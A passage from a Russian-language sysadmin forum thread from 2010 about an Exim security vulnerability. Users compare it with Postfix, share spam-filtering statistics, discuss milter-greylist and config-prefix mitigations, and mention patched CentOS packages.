Не стоит. Postfix вполне справится и сам. Вот, кстати, суточная статистика с одного из mx'ов не-скажу-где :-), не самая большая, понятное дело, бывало и больше :-)
Total:
Total Connects In: 3193185 from 512174 hosts
Total Rejected Mail: 2920453
Total Greylisted Mail: 33055
Total Received Mail: 34790
Total Received Mail from Whitelisted: 16803
| |
|
5.105, artemrts (ok), 17:07, 11/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
>[оверквотинг удален]
> одного из mx'ов не-скажу-где :-), не самая большая, понятное дело, бывало
> и больше :-)
> Total:
> Total Connects In: 3193185
> from 512174 hosts
> Total Rejected Mail: 2920453
> Total Greylisted Mail: 33055
> Total Received Mail: 34790
> Total Received Mail from
> Whitelisted: 16803
А если не секрет, на чем реализован грейлистинг?
| |
|
6.108, Viliar (ok), 17:32, 11/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
>[оверквотинг удален]
>> и больше :-)
>> Total:
>> Total Connects In: 3193185
>> from 512174 hosts
>> Total Rejected Mail: 2920453
>> Total Greylisted Mail: 33055
>> Total Received Mail: 34790
>> Total Received Mail from
>> Whitelisted: 16803
> А если не секрет, на чем реализован грейлистинг?
milter-greylist. gps postfix daemon чего-то там со своими форками оказался ужас нах под текущей нагрузкой. А этот, с тредами и через milter очень хорош. Только хотелось оторвать мейнтейнеру фряшного порта руки, за то, что по-умолчанию дамп сбрасывается каждую минуту :-) Поставил 10 минут - все прекрасно.
| |
|
|
|
|
|
1.91, Аноним (-), 21:04, 10/12/2010 [ответить] [﹢﹢﹢] [ · · · ]
| +1 +/– |
а если пошаманить с ALT_CONFIG_PREFIX? по идее ни удаленно (когда exim уже сбросил привелегии), ни локально в директорию, доступную для записи только руту (где основной конфиг exim, к примеру) нету.
| |
|
2.96, tux2002 (ok), 11:23, 11/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
> а если пошаманить с ALT_CONFIG_PREFIX? по идее ни удаленно (когда exim уже
> сбросил привелегии), ни локально в директорию, доступную для записи только руту
> (где основной конфиг exim, к примеру) нету.
Я по памяти, когда читал документацию, помню, что запускать с альтернативным конфигом могут только admin users и входящие в первичную группу пользователя exim. Или не так?
| |
|
1.99, deadless (?), 15:41, 11/12/2010 [ответить] [﹢﹢﹢] [ · · · ]
| –2 +/– |
как хорошо что я на postfix сижу.. было у меня 6 лет назад предубеждение к экзиму, гг.
| |
|
2.102, Viliar (ok), 17:00, 11/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
> Ты думаешь твой сервер на 10 человек кому то нужен? Тогда
> мы идем к вам :)
С возвращением, товарисч :) Как, ваше мнение с предыдущего топика не изменилось?
| |
|
3.107, lissyara (?), 17:19, 11/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
>> Ты думаешь твой сервер на 10 человек кому то нужен? Тогда
>> мы идем к вам :)
> С возвращением, товарисч :) Как, ваше мнение с предыдущего топика не изменилось?
товарисч - идолопоклонник рхела.
у таких - мнение не меняется =))
| |
|
4.118, ALex_hha (ok), 16:06, 13/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
> товарисч - идолопоклонник рхела.
> у таких - мнение не меняется =))
дак на FreeBSD те же грабли :D Почитай список рассылки ;)
| |
|
|
|
1.103, ALex_hha (ok), 17:04, 11/12/2010 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
Нет, ибо мой топик был относительно того времени, когда экзим разрабатывал Хазель. Вот когда Венема уйдет и забросит postfix, тогда и поговорим ;)
| |
1.123, pasha (??), 14:49, 16/12/2010 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
также систему на centos поломали. есть ли версия 4.70 exim.x86_64 для centos??
| |
|
2.125, Аноним (-), 03:11, 19/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
> также систему на centos поломали. есть ли версия 4.70 exim.x86_64 для centos??
Для CentOS вышло обновление. Это не 4.70, но уязвимость там пофикшена.
| |
|
1.124, pasha (??), 15:45, 16/12/2010 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
ещё и dovecot накрылся(( вся входящая почта пропала и новые письма не приходят( это только у меня такой эффект вышел?
| |
1.127, Начинающий (??), 21:36, 10/06/2019 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
Вопрос к профессионалам от Нуба
Можно ли защититься от этой проблемы косвенным образом.
Чтобы не перехватили root - Поставить при авторизации запрет на доступ для всех по IP кроме одного своего ?
| |
|